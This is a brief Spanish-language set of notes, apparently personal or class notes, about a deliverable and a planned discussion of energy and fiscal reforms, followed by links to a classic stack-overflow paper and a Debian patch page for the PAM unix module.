que querramos hacer con lo que haremos aqui, que haremos con el, la tenemos que entregar.

la otra es platicar lo de las reformas energética, hacendaria y platicar con alguien, comparenlo  compartir los puntos de vista de acuerdo a esos temas.

http://insecure.org/stf/smashstack.html

http://patch-tracker.debian.org/patch/series/view/pam/1.1.3-9/007_modules_pam_unix